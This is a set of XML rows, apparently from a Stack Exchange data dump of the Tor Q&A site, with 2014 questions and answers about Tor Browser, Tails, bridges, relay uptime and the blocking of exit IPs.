  <row Id="4210" PostTypeId="2" ParentId="4209" CreationDate="2014-09-26T12:45:00.313" Score="14" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;...Windows is full of key-loggers, Trojans and...&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;is a bit overblown. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In general, the chances of a Windows box being infected with malware&#xA;are higher than a Linux box. Mainly because Windows is a very popular&#xA;target.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Since Windows is closed source, as opposed to Linux which is open source, you (the user/consumer) can not tell what key-logging, screen-snooping, home-calling stuff is in there 'by design', even if you keep it clean from (3d party) malware.&lt;br&gt;&#xA;Windows code is scrutinized by Microsoft, (whose main concern is shareholder value?). Linux code is scrutinized by many internet strangers (whose main concern is running a stable / secure OS?).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Would you run Tor if it were closed source?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Having said that.. ..using Tor on Windows is still less dangerous than using IE6 on Windows. ;-)&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="350" LastEditDate="2014-09-26T14:40:40.187" LastActivityDate="2014-09-26T14:40:40.187" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4211" PostTypeId="2" ParentId="4203" CreationDate="2014-09-26T13:44:06.627" Score="1" Body="&lt;p&gt;I don't see how running a Tails virtual machine (if that is what you mean by &quot;... unless you are running something like VMWare or VirtualBox.&quot;), has any mitigating impact on my scenario/concern. I believe that anything that could be done to a physical instance of Tails (hack/snoop/sniff/etc.), can be done to a virtual instance of Tails, can it not?&lt;/p&gt;&#xA;" OwnerUserId="3719" LastActivityDate="2014-09-26T13:44:06.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4212" PostTypeId="2" ParentId="3778" CreationDate="2014-09-26T14:57:31.713" Score="3" Body="&lt;p&gt;Great Question!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually what works for me is opening LastPass in a different browser and simply copying/pasting the passwords I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I'll have my Tor window up, but at the same time, I'll open up a Chrome window with the LastPass extension. Then, I'll just copy and paste each password I need from the Chrome window to the Tor window. It works like a charm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="3656" LastActivityDate="2014-09-26T14:57:31.713" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4213" PostTypeId="1" CreationDate="2014-09-26T15:07:28.760" Score="1" ViewCount="114" Body="&lt;p&gt;I have been using TBB for over a year now. I am a student who values privacy very much, and I install Tor on every computer I use. However, my school is updating their computers and many of them use something called &quot;Sophos Protection.&quot; I can download TBB without a problem, but whenever I try to launch TBB, Sophos displays a message saying that it's a proxy and thus blocks TBB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most (I'd say 80 to 90%) of the computers in my school use this program. Is there some sort of workaround that would allow me to use TBB w/o this obnoxious blocker? Please help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relevant Info:&#xA;--My school uses Windows 7 computers.&#xA;--I do not have any sort of admin/root access.&lt;/p&gt;&#xA;" OwnerUserId="3656" LastActivityDate="2014-09-26T15:07:28.760" Title="Installing TBB w/Sophos" Tags="|tor-browser-bundle|configuration|windows|blocked-services|web-proxy|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4216" PostTypeId="2" ParentId="4169" CreationDate="2014-09-26T18:17:42.100" Score="2" Body="&lt;p&gt;The college network is probably not intentionally breaking Skype. More likely it is just generally unreliable. If your Skype issues are caused by confused routers, dodgy access points and resetting NAT session tables, then Tor is not going to help with that. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-09-26T18:17:42.100" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4218" PostTypeId="1" AcceptedAnswerId="4222" CreationDate="2014-09-26T19:13:34.680" Score="2" ViewCount="1358" Body="&lt;p&gt;Is making tor to route through port 80 ,443 (standard internet ports ) is better for my anonymity so my ISP may watching default tor starting port ?  &lt;/p&gt;&#xA;" OwnerUserId="3718" LastActivityDate="2023-10-02T23:56:30.800" Title="Is making tor to route through port 80 ,443 (standard internet ports ) is better for my anonymity" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4219" PostTypeId="2" ParentId="4200" CreationDate="2014-09-26T19:22:28.507" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a way to check that the pluggable transports are actually&#xA;  working as advertised while you are browsing?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;tor's log will show you which bridge you are using.  Alternatively you can use netstat (or similar tools) to see that you only have connections to where you expect.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm assuming that if I click on them and the browser goes to where I ask it to, then the transport is working&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is also correct.  If the transport is configured but not working the bootstrapping process will fail.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;However, I'm a wee bit concerned that if the transport doesn't work,&#xA;  does the Tor Browser Bundle simply default to 'basic Tor' instead,&#xA;  thus making me visible for using Tor? Or will it simply just not work&#xA;  at all?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you have a pluggable transport configured and it doesn't work, it will fail closed (nothing will work).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And on the same theme, if I start using pluggable transports and some&#xA;  time during the session it stops working, will the browser revert to&#xA;  'basic Tor' or will it stop completely, forcing me to start the whole&#xA;  Tor Browser Bundle again using some other transport?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It depends on the failure mode.  If you are using obfs4 and I shutdown the test bridge, you will need to use another transport.  If it is something like a temporary network outage, things should reconnect automatically.&lt;/p&gt;&#xA;" OwnerDisplayName="user78" LastActivityDate="2014-09-26T19:22:28.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4220" PostTypeId="1" CreationDate="2014-09-27T11:58:41.060" Score="3" ViewCount="1350" Body="&lt;p&gt;If I have a host list here:C:\WINDOWS\system32\drivers\etc\hosts for blocking malicious,&amp;amp; ad websites/servers.&#xA;How do I make it work with Tor?&lt;/p&gt;&#xA;" OwnerUserId="3726" LastEditorUserId="350" LastEditDate="2015-01-05T12:43:12.430" LastActivityDate="2015-01-05T12:43:12.430" Title="Host List Blocking" Tags="|configuration|dns|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4221" PostTypeId="1" CreationDate="2014-09-27T16:04:06.203" Score="2" ViewCount="9968" Body="&lt;p&gt;When running latest version of Tails (currently 1.1.2) on a USB drive, should you or should you not use &quot;sudo apt-get upgrade&quot; in a terminal to upgrade the components of the Tails instance? If you do run the upgrade, will it [the upgrade] persist after reboot? (I'm thinnking not; I'll have to try it and see.) Also, will configuring persistent volume affect this one way or another? (I'm thinnking not; I'll have to try it and see.) Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3730" LastEditorUserId="3730" LastEditDate="2014-09-27T17:06:51.207" LastActivityDate="2020-07-07T11:42:15.587" Title="Should Tails be upgraded using &quot;sudo apt-get upgrade&quot;?" Tags="|tails|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4222" PostTypeId="2" ParentId="4218" CreationDate="2014-09-27T16:44:21.940" Score="3" Body="&lt;p&gt;Yes, 443 is an especially good port to use because traffic on that port is usually encrypted anyway. That is the port used for ssl or https, so when someone does Internet banking they use that port anyway. Because port 443 is used for encrypted traffic anyway most of the time, you using that port makes your usage seem more like normal Internet access. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Port 80 on the other hand is typically not encrypted when people use the internet. If you need to use 2 different ports because you want to run a bridge or relay, you might consider using port 443 and port 22. Port 22 is another one where almost all traffic is encrypted anyway because its used for a service called ssh. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So by using port 443 and 22, you would be keeping your Internet use looking pretty normal. &lt;/p&gt;&#xA;" OwnerUserId="3338" LastActivityDate="2014-09-27T16:44:21.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4224" PostTypeId="1" CreationDate="2014-09-28T01:41:38.237" Score="1" ViewCount="383" Body="&lt;p&gt;I just bought Covert Browser for my iPhone, is this an official application from the Tor Project?&lt;/p&gt;&#xA;" OwnerUserId="3734" LastEditorUserId="88" LastEditDate="2015-01-28T20:16:20.187" LastActivityDate="2015-01-28T20:16:20.187" Title="Is Covert Browser an official Tor Project application for the iPhone?" Tags="|security|mobile|ios|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4225" PostTypeId="1" CreationDate="2014-09-28T02:01:42.457" Score="1" ViewCount="3771" Body="&lt;p&gt;I just tried to log on to Instagram on my PC via Tor, and I could not type my username and password. The same problem exists on Covert Browser (Tor browser for iPhone). Is it possible to use Instagram via Orbot?&lt;/p&gt;&#xA;" OwnerUserId="3734" LastEditorUserId="923" LastEditDate="2015-01-28T19:40:50.700" LastActivityDate="2018-07-30T16:45:41.890" Title="Will orbot work for instagram?" Tags="|anonymity|orbot|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4226" PostTypeId="1" CreationDate="2014-09-28T04:17:24.967" Score="3" ViewCount="160" Body="&lt;p&gt;After the recent updates, when i click download for any file, it takes a lot of time to show the message with 'download now' and 'cancel' options...but after clicking 'download now' and choosing the file location, it is seen that the download is completed in no time... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After few more trials I came to know that the files are downloaded in background before asking for permission to store the downloaded file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My friends are also having such problems. But we don't have any knowledge on programming or how to work or build tor etc.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We just use tor for some of our specific needs as most of the websites are blocked in our university. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if someone can help us with this issue,we would be very grateful.&#xA;I once tried DownThemAll plug-in also,but it could not download a single file. I don't know if it also requires any configurations or not.&lt;/p&gt;&#xA;" OwnerUserId="3736" LastEditorUserId="112" LastEditDate="2014-09-28T19:21:13.007" LastActivityDate="2014-09-28T19:21:13.007" Title="Tor downloads files in the background, then asks for permission" Tags="|plugin|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4227" PostTypeId="2" ParentId="4173" CreationDate="2014-09-28T05:23:24.927" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What does Tor Browser test for that fails when using a different / non-local Tor as the client?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;With the default settings, Tor Browser:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Starts its own instance of Tor when you first open the browser&lt;/li&gt;&#xA;&lt;li&gt;Asks the browser what proxy settings have been set in the TorButton Preferences menu&lt;/li&gt;&#xA;&lt;li&gt;Asks the instance of Tor that the browser started what SOCKS proxy address and port it is listening on (by sending a GETINFO request to its control port)&lt;/li&gt;&#xA;&lt;li&gt;Compares the results of 2 and 3. If they agree, show the 'Congratulations' page, otherwise show the 'Something went wrong' page&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;[Source: torbutton.js from the Tor Browser source code &lt;a href=&quot;https://gitweb.torproject.org/torbutton.git/blob/7f46869cd1b53e9a94dda54bd8101f66b78ed3ab:/src/chrome/content/torbutton.js#l1801]&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/torbutton.git/blob/7f46869cd1b53e9a94dda54bd8101f66b78ed3ab:/src/chrome/content/torbutton.js#l1801]&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this test method, it's clear that Tor Browser will always fail the test if you just change the proxy settings in TorButton preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To force Tor Browser to do a more useful test when you've changed the proxy settings, you can go to about:config and set 'extensions.torbutton.local_tor_check' to false. This makes Tor Browser make a request to check.torproject.org to check if it's connecting through Tor, giving correct results even with custom proxy settings.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is [using a different / non-local Tor] a bad thing to do? Does it in any way hurt security or anonymity?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This would depend on the details of your setup. A non-exhaustive list of things to watch out for that might have adverse effect on security/anonymity:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Improperly configured control port. Unless you've made a deliberate effort to make your Tor Browser connect to the control port of your non-local Tor client, you're not getting new circuits when you click the New Identity button in the browser; Tor Browser will still be using the default control port, which corresponds to the &lt;strong&gt;local&lt;/strong&gt; Tor client started by the browser. Configuring a custom control port can be done fairly easily but that should probably have a question of its own.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Mixing of different identities. If you have several computers all connecting to the same port on your non-local Tor client you might find streams you wanted to keep separate end up on the same circuit, which might allow an attacker to deduce they came from the same person. It might be worth giving each computer its own dedicated SOCKS port, or even an entire dedicated instance of the Tor client.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Attacks on the traffic between you and your non-local Tor. Do you trust the network between you and your Tor client and/or the security of the proxying protocol (in your case SOCKS)? Transparent proxying, for example, sends your traffic unencrypted, so would be unwise to use with a non-local Tor on an untrusted network.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Effect of setting 'extensions.torbutton.local_tor_check' to false (?). This would mean your Tor Browser makes one more request to torproject.org each time the browser is opened compared to using all default settings. I don't know whether this could actually be used for fingerprinting.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It is possible to imagine situations in which having a non-local Tor process could present a security &lt;em&gt;advantage&lt;/em&gt;. For example&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If the machine running Tor Browser is compromised the Tor Process itself is not automatically compromised.&lt;/li&gt;&#xA;&lt;li&gt;You could set up your network so that one or more computers have no direct connection to the internet, only the connection via your non-local Tor client. This could prevent leaks even if the computers/browsers are compromised.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3737" LastEditorUserId="3737" LastEditDate="2014-09-28T05:35:48.767" LastActivityDate="2014-09-28T05:35:48.767" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4228" PostTypeId="2" ParentId="4224" CreationDate="2014-09-28T06:50:05.540" Score="2" Body="&lt;p&gt;It is not an official product by the Tor Project, and I would recommend against its use. Tor official products are not on sale. They are free of charge. &lt;/p&gt;&#xA;" OwnerUserId="1750" LastEditorUserId="923" LastEditDate="2015-01-28T19:45:59.523" LastActivityDate="2015-01-28T19:45:59.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4231" PostTypeId="1" AcceptedAnswerId="4773" CreationDate="2014-09-28T16:19:46.627" Score="2" ViewCount="488" Body="&lt;p&gt;Anyone have any luck running &lt;code&gt;tor&lt;/code&gt; on a Western Digital My Cloud NAS?  Is there any guide for running &lt;code&gt;tor&lt;/code&gt; on new embedded devices? Any guidelines for resources like memory?&lt;/p&gt;&#xA;" OwnerUserId="3731" LastEditorUserId="3731" LastEditDate="2014-09-28T23:37:26.067" LastActivityDate="2014-12-17T13:30:41.797" Title="Tor on WD My Cloud device" Tags="|configuration|raspberry-pi|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4232" PostTypeId="2" ParentId="4226" CreationDate="2014-09-28T19:13:57.430" Score="2" Body="&lt;p&gt;This is the 'pre-fetch' feature in Firefox, which starts downloads in the background for you - you see it as 'instant' because it already downloaded the file before you confirm the download. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can disable it like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Type &lt;code&gt;about:config&lt;/code&gt; in your Firefox address bar and press Enter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Type &lt;code&gt;network.prefetch-next&lt;/code&gt; in filter text box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Change the value to false&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though it pre-fetches the file - it's still routed through Tor.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-09-28T19:13:57.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4234" PostTypeId="1" CreationDate="2014-09-28T20:00:46.347" Score="2" ViewCount="5732" Body="&lt;p&gt;I usually execute TBB from an usb key but sometimes, firefox does not start correctly.&#xA;I've try to start TBB directly with &quot;firefox.exe&quot; and seem to be all ok, but start TorBrowser with &quot;firefox.exe&quot; instead with &quot;Start Tor Browser.exe&quot;, what consequence can it have?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean: what consequence can it have if I start TorBrowser Bundle directly with &quot;firefox.exe&quot; from Tor-directory instead of &quot;Start Tor Browser.exe&quot;?&lt;/p&gt;&#xA;" OwnerUserId="3744" LastEditorUserId="-1" LastEditDate="2014-09-29T12:34:47.790" LastActivityDate="2016-12-01T12:02:59.663" Title="Start TorBrowser with &quot;firefox.exe&quot; instead with &quot;Start Tor Browser.exe&quot;" Tags="|tor-browser-bundle|windows|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4236" PostTypeId="2" ParentId="4234" CreationDate="2014-09-29T06:48:39.303" Score="1" Body="&lt;p&gt;Okay, I think I provided the wrong answer for your question. &#xA;I first thought you are using Tor via your normal &quot;firefox.exe&quot; but you mean that you are starting &quot;firefox.exe&quot; from the Tor-directory &lt;code&gt;%TorBrowser/Browser/firefox.exe&lt;/code&gt;.&#xA;So here is the (hopefully) right answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are starting &lt;code&gt;Start Tor Browser.exe&lt;/code&gt; first and TorBrowser won't open instantly, first have a look in your Task Manager if &lt;code&gt;tor.exe&lt;/code&gt; is running in your process list.&#xA;If it is running your TorBrowser should work just fine when starting it manually over &lt;code&gt;firefox.exe&lt;/code&gt;.&#xA;Maybe you should have a look in the logs of Tor to see if it is running as it should before browsing the WWW with TorBrowser.&lt;/p&gt;&#xA;" OwnerUserId="3648" LastEditorUserId="3648" LastEditDate="2014-09-29T07:39:33.437" LastActivityDate="2014-09-29T07:39:33.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4238" PostTypeId="2" ParentId="4221" CreationDate="2014-09-29T15:03:07.593" Score="1" Body="&lt;p&gt;Based on my testing of Tails 1.1.2, it appears that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;using &lt;code&gt;sudo apt-get update&lt;/code&gt; then &lt;code&gt;sudo apt-get upgrade&lt;/code&gt; does update the currently running instance of Tails. (in this case, today, &lt;code&gt;libnss3&lt;/code&gt; and &lt;code&gt;bash&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;The update does not persist on my USB drive after reboot. (I can again update &lt;code&gt;libnss3&lt;/code&gt; and &lt;code&gt;bash&lt;/code&gt; again after reboot.)&lt;/li&gt;&#xA;&lt;li&gt;Configuring a persistent volume does not affect persistence of update after reboot.&lt;/li&gt;&#xA;&lt;li&gt;Unless some vulnerability is inadvertently introduced during the update process, I don't see why the current instance of Tails should not be updated.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Please correct me if I misunderstand any of the above.&lt;/p&gt;&#xA;" OwnerUserId="3747" LastEditorUserId="114" LastEditDate="2014-09-29T16:21:55.887" LastActivityDate="2014-09-29T16:21:55.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4239" PostTypeId="1" CreationDate="2014-09-29T16:20:07.717" Score="2" ViewCount="87" Body="&lt;p&gt;My broadband provider in the UK is a very large telecoms company that was once state owned. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an &quot;unlimited&quot; broadband contract with them so running my Tor (non-exit) relay with an advertised 100KB/s bandwidth costs me nothing extra in network usage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However one thing I have learnt from this experience is just how unreliable my broadband connection actually is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Tor's GLOBE site to monitor my relay's consensus status. The GLOBE &quot;uptime&quot; graph has made me much more aware of the number of network outages I suffer (and I am very near our local exchange).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turns out that I have not been able run the relay longer than 7 days without a network stoppage of sufficient duration for it to be noticed by the Tor authority nodes and thus affecting my node's &quot;mean uptime&quot; and other ratings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this continues, my node will never achieve the &quot;guard&quot; flag. This prompted the thought that if a government agency can somehow contrive to cause (with or without the collusion of telecoms companies) short but reasonably frequent network outages on the network links of new Tor nodes like mine, then that may help it promote to guard status, other nodes on more reliable network links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not suggesting this is happening in my case since it is easier to attribute the outages I see to the incompetence of my broadband supplier. They have some form in this regard!&lt;/p&gt;&#xA;" OwnerUserId="3607" LastEditorUserId="3607" LastEditDate="2014-09-30T15:36:11.193" LastActivityDate="2015-02-27T18:47:18.933" Title="If my network link is subject to frequent, short, outages (a gentle form of DoS attack?), can this help promote other nodes to guard before mine?" Tags="|guard|network-health|dos|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4242" PostTypeId="2" ParentId="4203" CreationDate="2014-09-29T22:15:15.100" Score="0" Body="&lt;p&gt;I don't know of any additional vulnerabilities introduced specifically by the &lt;em&gt;Tails&lt;/em&gt; online update process. However, when a new version of Tails comes out, I now download the new .iso because: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The new updated version in .iso format has a SHA256 Checksum that can be used to verify the cryptographic signature of the image. You do not get that with the online upgrade that I am aware of, unless it is done silently during the online upgrade process.&lt;/li&gt;&#xA;&lt;li&gt;Doing a clean install from the iso wipes the USB thumb drive that could remove any malware on the drive if there is any on it from prior use.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For these 2 reasons, imo it is better to do a clean install from a new .iso image. But it is not as convenient.&lt;/p&gt;&#xA;" OwnerUserId="3747" LastActivityDate="2014-09-29T22:15:15.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4243" PostTypeId="1" CreationDate="2014-09-30T02:07:37.010" Score="1" ViewCount="1017" Body="&lt;p&gt;I am trying to get the Grugq's &lt;a href=&quot;https://github.com/grugq/portal&quot; rel=&quot;nofollow&quot;&gt;P.O.R.T.A.L.&lt;/a&gt; to work. So far I have tried it on a router TP-Link TL-WR703N and a Raspberry Pi with Arch Linux installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The networking part is what confuses me. I am not sure what to do. I have PORTAL on both devices but I cannot find any tutorials or information on how to set it up to route my connections through Tor.&lt;/p&gt;&#xA;" OwnerUserId="3753" LastEditorUserId="114" LastEditDate="2014-09-30T07:52:08.910" LastActivityDate="2014-11-27T03:50:16.217" Title="The Grug's P.O.R.T.A.L. on TP-Link 703n and Raspberry Pi setup" Tags="|security|configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4244" PostTypeId="2" ParentId="4239" CreationDate="2014-09-30T09:20:45.513" Score="1" Body="&lt;p&gt;Here's my 2nd answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone else is trying DoSing you over the Tor network there is a chance that this will be prevented from the guard relay. If not it could be an advantage for other relay operators because the traffic that flows through the network goes up to their score. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this someone is DoSing you over the normal internet I see no chance for other relays to get the guard flag faster except one thing: that the clients are using other relays for their traffic instead of yours so you are missing it because of unreachability.&lt;/p&gt;&#xA;" OwnerUserId="3648" LastEditorUserId="3648" LastEditDate="2014-09-30T10:57:08.497" LastActivityDate="2014-09-30T10:57:08.497" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4245" PostTypeId="1" AcceptedAnswerId="4259" CreationDate="2014-09-30T12:30:49.397" Score="5" ViewCount="4213" Body="&lt;p&gt;In a recent Tor blog post the following was mentioned:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The help desk has been asked how to configure a VPN to prevent a&#xA;  website from learning that a user is using Tor. We consider&#xA;  positioning a VPN between one’s exit node and the destination site to&#xA;  be totally unsafe, and not much more anonymous than using a VPN&#xA;  without Tor.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now, having read the &lt;a href=&quot;https://www.torproject.org/docs/faq#HideExits&quot; rel=&quot;nofollow&quot;&gt;FAQ&lt;/a&gt;, I understand the reasons why it is preferred to not hide the Exit nodes, but none of those reasons seem to have anything to do with privacy or anonymity.  How does adding a VPN after an exit node break Tor's model so badly that it becomes not much more anonymous than using a VPN without Tor?&lt;/p&gt;&#xA;" OwnerUserId="3754" LastEditorUserId="100" LastEditDate="2014-10-01T17:05:04.123" LastActivityDate="2015-04-11T17:34:45.523" Title="Why is putting a VPN between the destination and an exit node unsafe?" Tags="|deanonymization|vpn|threat-models|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4246" PostTypeId="2" ParentId="3929" CreationDate="2014-09-30T12:56:44.213" Score="1" Body="&lt;p&gt;Tor uses handshaking between nodes. If you stop reading from the SOCKS connection of you local tor instance, the exit node which is reading from the server delivering the 10GB file will soon stop reading there, too.&lt;/p&gt;&#xA;" OwnerUserId="3755" LastActivityDate="2014-09-30T12:56:44.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4248" PostTypeId="1" CreationDate="2014-09-30T16:19:22.100" Score="1" ViewCount="7049" Body="&lt;p&gt;Yeah, the onion routing is in my opinion a fantastic concept. However I don't understand why Tor is offerng a blacklist of the exit Nodes/ IP. Everywehrer in the web Tor IPs ar blocked and you have to deal with captchas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I've found not even one Mail provider who is not blocking Tor. So if I want mail fairly anonymous, also with Enigmail and  GnuPGP, I need a mail provider. And theta provider I want to join with Tor, but yeah-&gt; blocked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just everywhere on the web Tor IPs are blocked.&lt;/p&gt;&#xA;" OwnerUserId="3756" LastActivityDate="2017-10-16T15:04:56.853" Title="Why there are so much Tor IPs blacklisted?" Tags="|torcheck|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4249" PostTypeId="2" ParentId="4248" CreationDate="2014-09-30T17:22:42.500" Score="0" Body="&lt;p&gt;The answer is simple - they want to prevent abuse, or they for some reason feel the need to be able to trace users back to their IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anonymity often attracts abuse, and one way to counter that (easily) as a web service provider is to simply block all the exit nodes - or 'catch' them with captcha's and so on to try to prevent bots from entering data and so on.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-09-30T17:22:42.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4250" PostTypeId="2" ParentId="4209" CreationDate="2014-09-30T17:35:51.373" Score="2" Body="&lt;p&gt;The recent shellshock vulnerability shows that no operating system is truly safe. Out of the box, they can all be infected or exploited. With a well thought out and implemented security policy, they can all be made reasonably safe. Currently available tools can make any operating system very resistant to malware, if the user has the skill to configure them and the discipline to stay within their security policy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One the biggest issue with Windows is the extensive usage records it stores of your activities. The newer the version of Windows is, the more user data it stores, and the harder it is to disable and eliminate those usage tracks. I won''t go so far as to call Windows a trojan. That said, applications that behave like current versions of Windows are labelled as spyware. &lt;/p&gt;&#xA;" OwnerUserId="355" LastActivityDate="2014-09-30T17:35:51.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4251" PostTypeId="1" CreationDate="2014-09-30T18:47:40.737" Score="2" ViewCount="58" Body="&lt;p&gt;NoScript has autoupdate on in TBB 3.6.6. So my NoScript has updated at least two times. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the autoupdate on a bug? If yes, what should I do? Reinstall TBB 3.6.6 and switch off the autoupdate? Thanks&lt;/p&gt;&#xA;" OwnerUserId="3757" LastActivityDate="2014-09-30T18:47:40.737" Title="NoScript has autoupdate on in TBB 3.6.6" Tags="|tor-browser-bundle|firefox|add-on|" AnswerCount="0" CommentCount="2" ClosedDate="2015-03-12T08:19:05.393" ContentLicense="CC BY-SA 3.0" />
